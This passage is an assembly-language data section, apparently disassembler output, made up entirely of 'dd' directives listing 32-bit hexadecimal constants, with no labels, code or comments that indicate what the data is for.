		dd 14B7F57Ch, 0B9D502F9h, 14288B40h, 0CE04B52Bh, 0CABA6A24h
		dd 7D31CE5Eh, 0DB7F3F3h, 0CAF32F85h, 0CC472EEDh, 1B96DE95h
		dd 66325367h, 0DF12E987h, 0FD5F4528h, 95EECB9Fh, 9E0BBFF6h
		dd 5453EB9Dh, 0B9B02FCFh, 0F5B8F732h, 35DE351Bh, 0C203452Dh
		dd 34FB3925h, 0A6A00616h, 4ED830BAh, 6E7B00CEh,	188CE9B8h
		dd 44D1DB01h, 99EA5AD9h, 3C1A229Ah, 493A1F41h, 5E1CFF7Bh
		dd 57AE77D8h, 8DB6B6ADh, 0EB9275A8h, 94B467BDh,	0E0DFC844h
		dd 0DBB6B13h, 998CF121h, 0B1D51743h, 534CCF83h,	1757443h
		dd 4522617Dh, 0BDC13321h, 5C0C976Dh, 2F7BDB8Fh,	0E0C6F947h
		dd 0AB77968Fh, 0E0A28031h, 10D48526h, 0DBEB1A61h, 0A2E1CE79h
		dd 2F185C9Fh, 5EE25FCBh, 5AD82C77h, 4A905460h, 8352CEE5h
		dd 68D86779h, 9B1430F1h, 6B954024h, 5FB60AF3h, 5B8E19E5h
		dd 0FC0FF638h, 0DD057BA6h, 3A17DFCBh, 9CEA8766h, 85E30ACFh
		dd 0AEC3C53Dh, 5341526Dh, 0A0E8DFC7h, 5D8BCC75h, 345FC4D1h
		dd 0B6ECEBE3h, 0C1E9320Ch, 739E88D6h, 7B162F3Eh, 382E81F8h
		dd 5754AC43h, 0D6FA5FFh, 0CD3088BFh, 0BA897598h, 0C0FC611Ch
		dd 243DDB75h, 0FAB02C08h, 0A99ABA1Eh, 167350F8h, 0F018702Dh
		dd 2B5A4C10h, 648DB422h, 170582EBh, 0CDEFDF6Dh,	0D7D551B8h
		dd 7ADD278Ah, 0E107E2C6h, 0F721E6C3h, 9A7887E1h, 1C97DF9Bh
		dd 0E9A065DEh, 0E677494Ah, 3D0C597Dh, 0C4205A23h, 7C65D843h
		dd 0CB022D3Dh, 8A41C3FAh, 904EC6C0h, 9B3C3D91h,	0B6BD4DD8h
		dd 3CC5FCA2h, 0C70D0E55h, 0D4E5385Bh, 0DD547715h, 385C0D6h
		dd 8CC561DAh, 2E4465C4h, 560A50A9h, 62F17317h, 0E60AEF73h
		dd 437E8A42h, 5A47878Bh, 0FC320767h, 1E4D0F61h,	19E2D51Dh
		dd 0DD031A47h, 0F328893Fh, 0DA1C9F42h, 0AAD60F53h, 0E4253578h
		dd 7212CC5Ah, 0D7F40847h, 0AC5DE3D0h, 515FBD1Bh, 2CA90CF1h
		dd 0A9C10753h, 0A29BC1A5h, 0AB717690h, 15A48452h, 0E97D729Bh
		dd 0BC07A68Dh, 1C26A8A8h, 9F479AB8h, 0F125AE5Eh, 8DAF3645h
		dd 2E960388h, 2951F059h, 197BCC4Bh, 0EC5E2CF3h,	8A3AE5C4h
		dd 63B729EDh, 3F4E74FAh
		dd 0A7216EEh, 442038C9h, 2BE091DEh, 5E344A04h, 93B3139Bh
		dd 618BC381h, 8C3261F5h, 877FB11Eh, 5E8851CFh, 21A0A6A1h
		dd 0C8888FB8h, 82380730h, 66B08D7Ah, 0CDA6A59Ch, 4BF615EFh
		dd 1C01B04Ah, 300784C2h, 0AB256423h, 2F8755D2h,	0DF6A71B8h
		dd 879ED6F4h, 0DF8E76C3h, 0E0B62B32h, 8350BB73h, 0C2DBB8h
		dd 497333FCh, 48FD6F03h, 0A199DBCFh, 0BDBD043Ch, 0FFD171BFh
		dd 1A8DFFC7h, 23AA7D98h, 137ED25Fh, 8EC9D4Eh, 10EFD148h
		dd 0D38DA1B6h, 651202CCh, 0F05AEA17h, 0C10A96D5h, 0B6615268h
		dd 0C0E03ED2h, 6715505Bh, 6D0C8F98h, 0B8D9E58Eh, 0F81A9415h
		dd 2EA897F3h, 0E7D79C11h, 0E79134ABh, 4C4C5A7Eh, 0F8625AACh
		dd 0D974C7FCh, 5AB762F0h, 457E180Bh, 6765BA8Bh,	7AAAC8AEh
		dd 51CBBA1Dh, 0BF31A407h, 841F857Ch, 460DA3C0h,	0C1F68AAEh
		dd 6E5C2829h, 73015EC3h, 0B8939E69h, 1AD8D8F6h,	94BAFEE0h
		dd 85E0FED2h, 0C6245715h, 0EF45B5ABh, 0B3A9DFBBh, 0D92BA50h
		dd 904BB2A3h, 8B8BA067h, 2FFDA00Eh, 723D0B06h, 7EC76EE9h
		dd 7D3E053Dh, 9B0DC902h, 0CC544892h, 55414932h,	8577228Dh
		dd 51883D9Fh, 7F827346h, 0B8A5209Fh, 5F1DC1C4h,	0A84826B2h
		dd 17744FF3h, 4DD027F6h, 18E69D8Eh, 81C304C3h, 83314936h
		dd 0E8775221h, 4589290Ch, 20C49C6Dh, 80962FE4h,	0E69133B9h
		dd 0C9A69A02h, 6134A566h, 5F5CB658h, 0E7E68C6h,	14D0E2CAh
		dd 3C03184Ch, 0FB55239Dh, 0FDD072CBh, 7C40E0EFh, 0E3FF49B3h
		dd 0B524CD7Ah, 0BBC7767Dh, 26A0B5E5h, 0DA58CEBCh, 0E86C5407h
		dd 0A74DA399h, 3B879B53h, 0A2995720h, 0EE7E86E1h, 0B49203B7h
		dd 2627E182h, 0C2416027h, 66DFF574h, 0DD864956h, 40C5C425h
		dd 4B1FEA22h, 3D7AB152h, 0A766DE72h, 0CA91EB49h, 0EE525DD3h
		dd 0F380F1EEh, 6606C129h, 8F79D44Bh, 86650989h,	0E87A299Dh
		dd 5D20A5BEh, 0FF69DA97h, 0F5F9010h, 0CF694578h, 2E64BEF9h
		dd 4EF99Ch, 0A42CEBE7h,	5ECC83BEh, 0BD74FF64h, 0BE352121h
		dd 3B10012Dh, 0FC0CC8D1h, 0C48B8048h, 0F7ADC43h, 0F1D9A23Fh
		dd 76698225h, 0BB115C74h, 884ED0D4h, 9B27149Ah,	3BF7486Ch
		dd 8C3F4C58h, 503EC4F7h, 0D85ADC72h, 952EFBE3h,	64F256A3h
		dd 0FA098BFBh, 999873C7h, 0ACFFC315h, 9AF5FDAEh, 5B6911C2h
		dd 1E6383B2h, 0BEAD5D66h, 271F332Ah, 0DB18A13Bh, 0CA737062h
		dd 0E5A49A07h, 0C00F3C9Dh, 0B8614449h, 0EF5F0F02h, 2751B591h
		dd 0C34E050Ah, 0B238AEF3h, 9965F19Eh, 8793BCEAh, 707E1FB8h
		dd 0D59A8F64h, 48C97AFAh, 3606553h, 0C0974FACh,	0E95E794Ah
		dd 0B3253CFh, 2E7ACB31h, 2D07803Eh, 60A33A74h, 29C36F1Ah
		dd 9522426Ch, 5B35BC82h, 0BC311939h, 0E69AC356h, 7F67B66Fh
		dd 0DC7F76EFh, 3F9FBED2h, 0D07F15CFh, 779F591Bh, 0B8893598h
		dd 0A9F82E73h, 6327CA6Bh, 0E7605A04h, 0D1336A1Eh, 0B4C59351h
		dd 73368A1Bh, 2315B7DBh, 462AAE93h, 57C9D806h, 0FEDC6ED9h
		dd 540F351h, 0AD67617Ah, 61C84E68h, 0F5B2195h, 92502640h
		dd 0E5C90DADh, 73DC3722h, 5F2551BAh, 0AB871982h, 0E5924AF8h
		dd 0A5446295h, 0F98F4661h, 8412E329h, 8A99BA18h, 0A8B47269h
		dd 8DC15750h, 0D5502B76h, 1AD3F6F4h, 4F4B589h, 57ED9E7h
		dd 686F92D0h, 21E491A8h, 5F479D9Dh, 20243AD6h, 0FC3464D7h
		dd 3E9721BEh, 3C98DCCBh, 0BC688339h, 1D47CE3h, 284D545Dh
		dd 0E356DF0Bh, 162CD588h, 0C0A5F0D9h, 30097829h, 0BC01541Fh
		dd 4FB74069h, 0B74BB64Eh, 0C63CE729h, 0EFF87D91h, 6BBAE54Eh
		dd 5C76144Ah, 0C4D19E53h, 0C7392C8Bh, 9F5BDDA3h, 674729E6h
		dd 7308EE5Ah, 0AB1E78D3h, 5ECE16DCh, 9BEF327h, 967FEA9Ah
		dd 7FF99E47h, 6C1A0F91h, 0E141A2E5h, 0C9C9BB8Ah, 0E7E18B1h
		dd 2CDA3BB6h, 794CBBC8h, 0B8AAE93Dh, 0E22D0E9Ch, 634B717Dh
		dd 0C59A07CAh, 75FC03A9h, 0E8BF88FEh, 0B13A0563h, 0E2E1471Ah
		dd 626CB1Fh, 43811F39h,	0D59DE359h, 39DF65E9h, 0FEDD9FBBh
		dd 146CB1F1h, 6BCC5F4Fh, 7B6E41B0h, 0DA88507Fh,	0C71CDBCh
		dd 0F9E04B55h, 354B8CF2h, 0FDC458DFh, 62F93792h, 0AD2A9DF0h
		dd 0C8FBF096h, 0CEBBA8EFh, 7E529B3Eh, 9CF0933h,	7690E10Ch
		dd 853E4278h, 2A6C2D58h, 79AF01EEh, 7B0BED50h, 4A7B704Ah
		dd 507E5EF2h, 29885F51h, 0AD06446Dh, 0D06F3905h, 0FCCD8CD8h
		dd 0F1CF61Ch, 0F112F7B4h, 0FCF6CDAEh, 995AFFEh,	0B56FFC2Dh
		dd 0DB909A69h, 0D91D3CF2h, 0C96466CDh, 0F569FE7Ch, 0C14073BFh
		dd 1AC0DC6h, 0FAB2BE62h, 775AC4E2h, 33209994h, 0B7C14023h
		dd 5F679E49h, 0BC5BFE85h, 0B2FBB97Eh, 653B9D84h, 125402F9h
		dd 791C51BAh, 72189A67h, 0C38B5062h, 2AB0BA88h,	0C13EC9C9h
		dd 0D3E2C802h, 0D97AA738h, 1E3EC71h, 5E0D1BF9h,	6FE85118h
		dd 0E138431Eh, 8C91535h, 36B4C6B9h, 0F97CCAA8h,	36BBD3ADh
		dd 7C78752Eh, 7F61E209h, 632102B4h, 36C5DFCCh, 6E7F6601h
		dd 0CA769123h, 61A8660h, 2DEBE264h, 38F75A9Fh, 2694A876h
		dd 220D6117h, 21D4688h,	937FA4CBh, 93B78EBAh, 41899435h
		dd 0A27AA4F0h, 0DC7DAC84h, 9CE560A6h, 6408A5FFh, 88DF9985h
		dd 0EDD7B94Ah, 6060E90Ch, 10488D6Ch, 83DCFA98h,	5B9BFF36h
		dd 9D002A13h, 1E5CC76Fh, 564EC9DCh, 60D133F4h, 4AF3D2E5h
		dd 0BAB35FFCh, 93DCA561h, 2AA91087h, 0CA937289h, 0F82AD86h
		dd 0B5BB9DFBh, 24DC2A58h, 0D0F3A9B8h, 86BF24BBh, 0D252C1C8h
		dd 0ED276630h, 0D2E7AA79h, 203BB6F3h, 5C9B8322h, 4C44817h
		dd 8143EDC4h, 8547110Fh, 888DA3D3h, 4FDB1C73h, 97D1A37h
		dd 98F52647h, 42266439h, 5BB70F67h, 16DAC5F1h, 0B31BD121h
		dd 23B4E7Ah, 1E989076h,	79D28438h, 0B149D9EEh, 0D1CDCFBDh
		dd 28CC4DBFh, 5086701Ch, 1DD861CEh, 19F1D8B1h, 2D2917C7h
		dd 84E8C680h, 0BF44F50Ch, 3441D889h, 0BF53FA3Eh, 9044A71Ch
		dd 0A3EB8AE9h, 7DB8DD92h, 7B002295h, 0BEBAA974h, 274C4039h
		dd 0E2E6854Dh, 9DC12EB6h, 6C963295h, 0B81163F0h, 223F1197h
		dd 6D8D698Ah, 9086627Fh, 5596F41Ah, 331661A3h, 8D60523Ch
		dd 0C87A5EA3h, 8D3F7E80h, 88F358DEh, 85C023E2h,	7A9A98CBh
		dd 5E29D9F3h, 2B1D8BE9h, 0AF661BC7h, 0DFA0DF6Dh, 5FE346B6h
		dd 0D2A57E60h, 3147C2A1h, 7952A786h, 0FA19748h,	9B76E5E3h
		dd 0DBB05BBh, 2778C4C1h, 0C6CD4CBh, 472DD26Eh, 0C7CEABECh
		dd 0BC8AC01Eh, 8A624AA2h, 0EF2C8E62h, 5BF615CCh, 48E9F46Ah
		dd 6D921F15h, 1F8E8E4h,	6EEBF41Bh, 280473C6h, 0AAEED130h
		dd 9733BE41h, 32A50181h, 5D9112C1h, 0A18ABC89h,	325FB306h
		dd 910A0DCEh, 15AA19ADh, 0D794BEEh, 82C8BE1Dh, 0ACFF1B9Dh
		dd 0CA7D6A22h, 587B36D4h, 0C2F680C7h, 0F0DC5E1Fh, 0B0695615h
		dd 8E1B36D5h, 988B978Ah, 0B6B8F7DAh, 9DC6D463h,	0B9B85318h
		dd 0E12FFD26h, 90D3F4CDh, 7064F30Eh, 63E3B286h,	2DB1F81Dh
		dd 0A90FA817h, 0D68CF6C1h, 83519FEEh, 0E6C56C4Bh, 3454BC34h
		dd 2CF4DEEEh, 0C167969Ch, 0A8A51BB3h, 72437891h, 44461FC1h
		dd 3E0849D0h, 1B8A90EDh, 196CA339h, 0DC161864h,	2DB96B21h
		dd 9BAA791Eh, 0F9415FD2h, 1FA7C13Ah, 0A0D18FF9h, 67AB2300h
		dd 566FE859h, 5A65373Eh, 9AA4027Ch, 2FF17DDAh, 11397EA1h
		dd 0E2AFAAA9h, 0C2B11188h, 30FCC252h, 6D055E77h, 5FDEEC39h
		dd 0A0C2C7AFh, 0C35B93A5h, 14494E5Ah, 0A4039F20h, 0E3D94342h
		dd 51747CADh, 67773775h
		dd 8B36DA57h, 68E36454h, 255864C1h, 0D45E176Fh,	53A18F4Fh
		dd 977E0BABh, 36D7F0FDh, 0C9B47B6Fh, 0F3228C03h, 8D2E34ECh
		dd 0F4BE1DC3h, 48863F58h, 1812B77Eh, 752A0863h,	2C4DCAB4h
		dd 2F93B0C1h, 3A9F52B1h, 23BCDA6Eh, 290600BDh, 0F00FDAC6h
		dd 0A750AD7Fh, 0F9F814B5h, 16534178h, 0FABAE243h, 0AB483CADh
		dd 0EF0B1EA3h, 2DC89BADh, 0B5D4D175h, 0E5E469D9h, 0D412B91Ah
		dd 2B863D73h, 0C1A0A4D1h, 0AEC4E2FCh, 0FB8DC285h, 0F98C36E8h
		dd 3FAA0984h, 2787DA86h, 0E69E5DACh, 0B4F634E8h, 0F612A0EAh
		dd 595EF2EFh, 0E0D1073h, 167A8678h, 9F8AC3C4h, 0FF524000h
		dd 5D316F0Ch, 0B698F744h, 0E7DF449Fh, 0BBDD7321h, 8BAF6958h
		dd 94AC08D3h, 2FABC044h, 25B6F404h, 0A182FD5Eh,	0F9BEBED7h
		dd 56ECDCC2h, 1AB4F6DCh, 0E39E2EDDh, 0F154B0AEh, 78906F34h
		dd 0A87D71A3h, 0C857B691h, 0C808623Fh, 86A002F2h, 87E726B1h
		dd 0D8751DAFh, 7617802Eh, 0B3A0893Bh, 6077C5E8h, 0D50C6D4Eh
		dd 0EB8BA934h, 0C355EDA2h, 0DEEEF6Eh, 0A0F7D977h, 5C8BBFC9h
		dd 3BB7B2EEh, 0E80F9F85h, 32595AB3h, 0CFEF756Eh, 0F2EEA80Bh
		dd 73CB7056h, 0E8A96C8Fh, 191296FDh, 0A4C06442h, 0CB9C5737h
		dd 0DDC594Ah, 66149955h, 7B518913h, 4143A4B4h, 6C5D2465h
		dd 9BA8CBF9h, 1F74043Ch, 0B6F3C259h, 0D5A835A5h, 875B9745h
		dd 694C34B2h, 8931B53Ch, 1A252387h, 0A3A9DBAAh,	254982EBh
		dd 7E6C73E0h, 47259735h, 0D11451C3h, 0F64030C9h, 0DBD3E0Eh
		dd 4B2795A7h, 367F4F6Dh, 75252FDAh, 0CBA6C20Bh,	0C5E82942h
		dd 8B384E44h, 623F077Fh, 5B8004C3h, 1ED0D301h, 5125B9E0h
		dd 6CB5CDFEh, 341D0849h, 290C74BAh, 5FC54EC1h, 60FEBE7h
		dd 0F430F0ECh, 0F937E257h, 0C8588CA4h, 63BE15FAh, 16F05307h
		dd 3A3120B2h, 5E18680Dh, 66C1B35Dh, 8B031345h, 0B6F7EF16h
		dd 6B34579Ch, 0A924CD37h, 9EF922DFh, 0C1626C44h, 66286F2Eh
		dd 0BBD4203h, 0EC593DC3h, 0C20EC5CEh, 43ED8E9Bh, 4D2D96B3h
		dd 334B4ABh, 918AAA5Eh,	47493E0h, 697AB18Ch, 0A6D2192Bh
		dd 0E50F42BFh, 0E32FEEEEh, 9CEAA369h, 1369D2BCh, 5EEA27Eh
		dd 0CBB65E7Bh, 5902A645h, 6CF67B55h, 0D2C396ABh, 0AB7CD7E8h
		dd 0C4D218E2h, 88A7E74Ah, 0F1758BDCh, 0C9179C82h, 80483901h
		dd 245572CDh, 0D41877E1h, 3D67D82Eh, 63545299h,	0F5F3ABE8h
		dd 44A85E3Ah, 0D660FC73h, 32DB1F02h, 184B9545h,	0E3564929h
		dd 0B4EEE648h, 40EBB589h, 0DE618D6Eh, 0E54119D1h, 7B9295AAh
		dd 0E1E77774h, 73BB2A70h, 0E2FD6FC8h, 513B670Dh, 0BA4BACEAh
		dd 0EF00226Fh, 1D6A54BDh, 0CC913790h, 0CB02204h, 0F9A0C893h
		dd 3E571C3Eh, 0D17CAAD8h, 0C7113880h, 0BC42BA45h, 697B5FFFh
		dd 625FB22Bh, 0C61B2CFEh, 18440703h, 9EC73B3Fh,	356D66A9h
		dd 4D773CB4h, 12BC3712h, 0C042E210h, 78B2742Ch,	0E2A9F563h
		dd 8BA48EDAh, 3A8B6361h, 0A6E480B2h, 525D336Bh,	0C91B470Bh
		dd 0BA0927CDh, 68EAB950h, 34649845h, 0EF727F63h, 0B79F939Ch
		dd 0EC71D7A7h, 0B73B0587h, 7D09F86Bh, 5F8B301Eh, 0BE206E66h
		dd 0CC60948Ch, 7F2C8332h, 4B7B18BFh, 9AF3930Dh,	83E71470h
		dd 963C8A81h, 0F2D5F39Ch, 0AC5CB54h, 15C3EE6Ah,	0CDAD646Ah
		dd 0FFF5676Dh, 1FD4CDD0h, 5BB81CFFh, 0A9028F46h, 503FD0A7h
		dd 0E22030F9h, 81FDC19Ah, 0D3AD4208h, 1B65E31Ch, 0F8FB4B47h
		dd 5A61617Bh, 9AD05A3Eh, 0F107E6E0h, 0F04B85DDh, 2FFE08ABh
		dd 0F05F4F03h, 1C771610h, 6C30CA58h, 479F102Bh,	921123Ah
		dd 0C521D026h, 0F8EB5A71h, 7B515F8Ah, 33950D53h, 21B47F2Ah
		dd 0A4672413h, 1BC1CE29h, 0CA2E6998h, 0CE29A67Ch, 46D72215h
		dd 2977A83Fh, 58F9F508h, 0A93B6672h, 0D586F782h, 8BCC3770h
		dd 2A399FF3h, 2E12D398h, 937D46FEh, 0C852F593h,	9081D813h
		dd 904C9422h, 0DF25600Eh, 0FA2C9D45h, 34209F05h, 0C1FAAEBFh
		dd 62356B46h, 0FDB1E957h, 0B951CCD0h, 9AF46012h, 0A29B849Dh
		dd 5C38953Fh, 0BED0C080h, 0E1B61B80h, 0F0F03F1Eh, 2C4131FFh
		dd 0F754EA0Ch, 0E4BC649Fh, 47F5BDE2h, 0A303F5Fh, 0F4B5B302h
		dd 4471D102h, 616FCD1Eh, 0FBFF2354h, 0E933037Eh, 9AD19336h
		dd 89F6AEABh, 0B66EB9Dh, 0C6CF087Dh, 5FF05830h,	61AB7791h
		dd 0D4894FBh, 1EC9C678h, 86A68677h, 786AC13h, 0FEF8DCF4h
		dd 0D3EECFF5h, 0FA0D64BBh, 0C7F70BE2h, 0E9A32F9Dh, 1D9F4BD8h
		dd 0E5A21350h, 616B1B36h, 0A28BC9DFh, 92F6D530h, 0CC9FA622h
		dd 0A20E5D58h, 526F8E6Eh, 538D216Eh, 2E91FED6h,	1221E040h
		dd 0C9229F55h, 754857B5h, 77C5D6A2h, 9A07CF47h,	0E6571893h
		dd 0A834A3D0h, 0B0CA90C8h, 0F2CBAD08h, 0CC9BA29Eh, 4E72B194h
		dd 2B23BBFEh, 0D74819ECh, 0E58089CCh, 7E33DEA9h, 3AD84D87h
		dd 100A0C0Dh, 0AB988C64h, 0EA184CA0h, 0E70F2EF1h, 82642F21h
		dd 0ED12CD4Ch, 0EA978D0Fh, 9F2824E3h, 84AB7C8Ch, 3983620Fh
		dd 0FCD84B08h, 0F2132500h, 589CE826h, 5D541540h, 5F418914h
		dd 46DBDFBDh, 0A9C1E17Eh, 96031117h, 3F2C92C5h,	49E86024h
		dd 53978E2Bh, 0B2565FBEh, 0D22BC8A2h, 508D81E5h, 3DF0E5E5h
		dd 0A3651325h, 94458032h, 0CABEF737h, 0F2F5EE49h, 0AAF5D55Eh
		dd 2F1D9B09h, 0B05E5916h, 0B6713FD5h, 70196624h, 3478B611h
		dd 7CEED72h, 35750BB7h,	897BE7FDh, 0E5FDE86Bh, 0ED241Bh
		dd 0AD2364C7h, 5943D8B8h, 0A795AF45h, 929A4D03h, 9E47CA50h
		dd 4378BC5Ch, 2A51B0C6h, 7051BB4Dh, 9CD9B662h, 0BB055E2Ah
		dd 622D7B97h, 1DD26F77h, 0AD087407h, 742F99F8h,	0AF89D96Fh
		dd 4BC1D8F7h, 87502919h, 0B461DB96h, 3B556DD6h,	5B0B5F4Fh
		dd 32A70242h, 0CED8C1ABh, 3C251C35h, 0B529529Dh, 0EE864CDCh
		dd 2A633081h, 8CCFF126h, 81AC926Dh, 0E95C9FD8h,	0F4864812h
		dd 6C0752A8h, 413ED0F7h, 19F745h, 0CB788D43h, 7F9C3689h
		dd 32F65FCCh, 2606D69Bh, 38C3C229h, 68AB1BB1h, 8A2FBA2Fh
		dd 0D3E4A4Dh, 0F3EF4AECh, 93DEECF6h, 0F4A9BDFh,	586387FFh
		dd 551007Bh, 34A86D8Ah,	55C1DF8Ah, 0A125B2D1h, 7B10FEB1h
		dd 643F28ABh, 12D40C38h, 0DA22C99Dh, 9CD66B7Dh,	7D0882BDh
		dd 80EC91B3h, 54FDB480h, 178ACAB6h, 0A862B164h,	28C9FDD0h
		dd 0CB394B5h, 0DC91AD79h, 0D7E55C8h, 28C99766h,	18F6AB80h
		dd 0F37B05F6h, 0E3C27C32h, 0F49DF7C3h, 55462684h, 3B62D426h
		dd 0AD06FE81h, 0BC0C5A25h, 7DAA31CFh, 3EA157DFh, 7BE362A3h
		dd 0E9A917DBh, 0A7EA83A7h, 955699EFh, 13437CAh,	23C76396h
		dd 4295FFC0h, 58789430h, 0EB0396B9h, 49876A95h,	403F4BDh
		dd 0B25E8677h, 1D7E2AF6h, 0A09C66BAh, 0E86469FAh, 0E4B79948h
		dd 6835378Eh, 6B11D2Fh,	0CA33A410h, 7A9D616h, 6A5A0436h
		dd 2E084BB7h, 0ADC3D2E9h, 48052981h, 3A8573DAh,	8D8FB3CEh
		dd 95A10BA1h, 0D6CB7BD1h, 0BB63F74Fh, 701AFEEFh, 0DFABE909h
		dd 0D31B4566h, 14B62A16h, 319EFC91h, 99827287h,	8EEA1944h
		dd 2507D31h, 49D94158h,	74995A4Bh, 5664CBCEh, 0A302C363h
		dd 402F2326h, 5B4FCA2Ah, 0EB8476F5h, 0C4DCC684h, 48AF78FDh
		dd 0F4843737h, 4D66F674h, 847C633Ah, 0D2D910D9h, 0CD105103h
		dd 8652A577h, 0A9D5E8D0h, 1B699F8Ch, 9D1FC73Dh,	3FC0606Ch
		dd 0F69C92C6h, 91BDABCCh, 758D77FFh, 66660492h,	564D89CBh
		dd 822BFE2Dh, 3E59282h,	0B26AAC2h, 9530B1F4h, 4BBFFF36h
		dd 0F03CBD04h, 147CA1A4h
		dd 6926E4E9h, 5F5F2389h, 0B4530888h, 71C8E609h,	0C746ACE9h
		dd 2A81F2CEh, 0A947248Bh, 0DB62DB69h, 0D8EB8C30h, 0A354F0A0h
		dd 0F6D2C3C8h, 53A1ACFBh, 2984506Fh, 0C364551Ah, 4F89204Dh
		dd 0D6A36D45h, 0B09BAD4Ch, 39FB4AA8h, 9CEF1C07h, 3C0D14B8h
		dd 0CC5A0471h, 895509BDh, 4E80311Bh, 0CFA82DDFh, 4DD05FDFh
		dd 0B621ADE0h, 3C4725A4h, 84C8D47Ah, 1D48B1DDh,	0EC5F4546h
		dd 9BBADAB7h, 0C3031EF7h, 45CD4DEFh, 0AF7A14DDh, 0ED8AB854h
		dd 0F91AEEE2h, 99F285B1h, 60BCF46Dh, 5DC3E951h,	0F560DEE0h
		dd 184957ADh, 0B756674Dh, 0E6D52170h, 23A334B1h, 47497B2Dh
		dd 3906BCAAh, 0DAD529Eh, 0EE2912CDh, 13143BAEh,	0DD5E8FCDh
		dd 52064ABBh, 3631A0A1h, 0AB598730h, 68855B09h,	0EBF6D368h
		dd 8B56B659h, 0EB6EFD67h, 6150390Bh, 0D382D252h, 0D5C02C10h
		dd 82FD27BCh, 0AF50B484h, 0D4A799CCh, 0D525B947h, 4ADE4335h
		dd 2402A9CBh, 0C68AFF77h, 257F5B8Fh, 81ABA13Ah,	0C83B1D29h
		dd 76E635E5h, 6DF24E83h, 0F89060Ah, 0EAF5A84Bh,	157496BCh
		dd 0EFF533FFh, 8312590Ah, 0A4CBC06Fh, 0B0B3DB2h, 89527641h
		dd 3A1891B5h, 0CE52B286h, 0A5C280C0h, 52A69F6Ah, 0BE8D2774h
		dd 80B849DFh, 56BDE74Ah, 0BC445BEAh, 56307619h,	0C25E54AEh
		dd 6D030733h, 585928Eh,	30C57006h, 16CE39Ch, 8EA72918h
		dd 46B9AFC6h, 0C758D9E3h, 0AB926C0Eh, 2E943CC8h, 69EBA1CEh
		dd 963AB8Fh, 6AE1B3BBh,	6037A8A4h, 817F05E3h, 0A0564792h
		dd 0D0035B6Ch, 4F0F38F9h, 6A281373h, 0F8C562E2h, 0E7B53601h
		dd 7173F52Bh, 0E23DAAC5h, 386C9F13h, 0F2AF779Eh, 5619404Dh
		dd 2B7DD843h, 0A9022983h, 0A6C3FB68h, 0A58C41B1h, 3AFBEECBh
		dd 5A2DA446h, 84D08EC1h, 1879629Eh, 0BCF2EABFh,	0A4593160h
		dd 0B92352D7h, 0F33B7E25h, 0A0D2653Fh, 0FFA78662h, 0CB6E44C2h
		dd 0FB7B1DEEh, 0E1A26F2Dh, 675C69Eh, 51C783D6h,	489CECE1h
		dd 0FD22EFECh, 0FD7C028Ch, 37D605E2h, 33CE007Ch, 533CE3A5h
		dd 0E24279CAh, 0BC5D966h, 2CD0B42Fh, 970842EEh,	0E1AB5A37h
		dd 14F17FE9h, 0DF078315h, 6297D789h, 0DC95210Dh, 0FA1C2550h
		dd 3EBBBCE7h, 0C626B16Dh, 0D03B2F48h, 0D7432D0Ch, 2988FBAAh
		dd 9F3D947Dh, 0BD7D48B1h, 6EE162DEh, 0F113D8E9h, 0E2D889CCh
		dd 9EC21602h, 0FF88D221h, 0DAE073BDh, 0ED63834Bh, 7E4C15C5h
		dd 65FE88BDh, 5370E2D9h, 0F2A9295h, 0D8CDD7F0h,	13DCC1AEh
		dd 0D6EDA5BDh, 0DE62E72Ch, 3426C972h, 437C31F7h, 6544F20Eh
		dd 5CB20C9Ch, 378125D8h, 0D05DF572h, 62FE0925h,	0F8A9B3F7h
		dd 0FC385ECFh, 130E4D51h, 0DE574811h, 0EF40D416h, 0BC124F41h
		dd 760B7067h, 0FC3E5632h, 9B82CF9Fh, 0EE4C62CAh, 44CA0FABh
		dd 0CF06CBD9h, 836833E7h, 2517AAC8h, 0B3DDFBBEh, 0B5495658h
		dd 1E7492FDh, 0BDEA59D6h, 0E26647C0h, 5AC6DF8Dh, 0BD69C65Dh
		dd 24C3FC8Eh, 7F6FD8B5h, 0E83E675Ch, 0CACC238Bh, 0E679EBCAh
		dd 0D44CF37Fh, 5023E228h, 6BA57BD8h, 0AC8DA9BCh, 0D8CAAD0Fh
		dd 0D5B497F7h, 96E2426Eh, 37D867E1h, 2962A772h,	3AE37ED7h
		dd 9B584ECFh, 46691DDDh, 143F5498h, 0A29848AAh,	16888A24h
		dd 8D784F5Dh, 82F508CAh, 0CB1A0D59h, 891DC441h,	0CAECAB9Bh
		dd 653D9A01h, 5C86EB9h,	0D1062D07h, 6DE35FB9h, 0B42D0859h
		dd 0E1EC96D6h, 4E6C48BFh, 2A4E8028h, 0FEA1794h,	29E8AEAFh
		dd 9F14E8FFh, 0CC39A453h, 0F03BAE52h, 4C124D08h, 7FA8F00Bh
		dd 80D776D9h, 0D9F7A842h, 0A0867B8Eh, 5EA8A4D1h, 0C0E81F2Dh
		dd 0CA082DE0h, 0D1403D51h, 0E88A6B95h, 0BF4FDE56h, 71D2DAE0h
		dd 4ECF0ECCh, 84A7952Ch, 1B34FA3Ch, 10DAC33Bh, 4F4E278Dh
		dd 62A656FAh, 337BCD09h, 6DB09EDDh, 77F8D77Dh, 4FB9F11Ch
		dd 331A8BA8h, 321B577Ch, 827B1ED2h, 0BA1C810Ch,	0E4E9ED61h
		dd 782271EEh, 92EAAFECh, 0BE8D5815h, 43A2428Ch,	0F3D78F9Bh
		dd 5CB83867h, 5D59935Fh, 0F6921EFh, 0A8E66E03h,	0B3E31195h
		dd 0DCF545E1h, 30741518h, 5F3CA648h, 0F79565F2h, 6FC10215h
		dd 0E0A85EF9h, 2E3B18E6h, 4B1E2E10h, 7A5C5B8Dh,	3386221Bh
		dd 0B4D0A992h, 56ED0A8h, 9224F186h, 6DFEF516h, 1E799DBDh
		dd 20A6476Dh, 865BD92Ch, 935D607Dh, 1845C0E8h, 1A52EDAFh
		dd 7B981CB2h, 7D4FFBCFh, 0B7818424h, 3C915DFDh,	2876459Eh
		dd 0FC27EAD3h, 0A07B0249h, 0F1310AC6h, 0DC3AE0A4h, 1A01015Eh
		dd 0BB636AD7h, 3FF6D868h, 88A599BEh, 7C4455F8h,	6BFC7082h
		dd 0FC548803h, 0B3E5B341h, 28BE6922h, 32C292D0h, 0D3688FB4h
		dd 0B7932FBAh, 0ECFBF9A0h, 3C55A38Fh, 74F2238Dh, 0B4427609h
		dd 89D8B517h, 20E042A0h, 17561FA5h, 350D94BBh, 2A5C6093h
		dd 211BD8F1h, 9B8CB212h, 9032391Ch, 4DAFBBF1h, 0F1F1DE07h
		dd 5F2F2815h, 345D2B88h, 2959E1AFh, 6B2A80FAh, 2E1ABE34h
		dd 143868A7h, 2CD17C3h,	10D0C74Eh, 86638E1h, 3F205296h
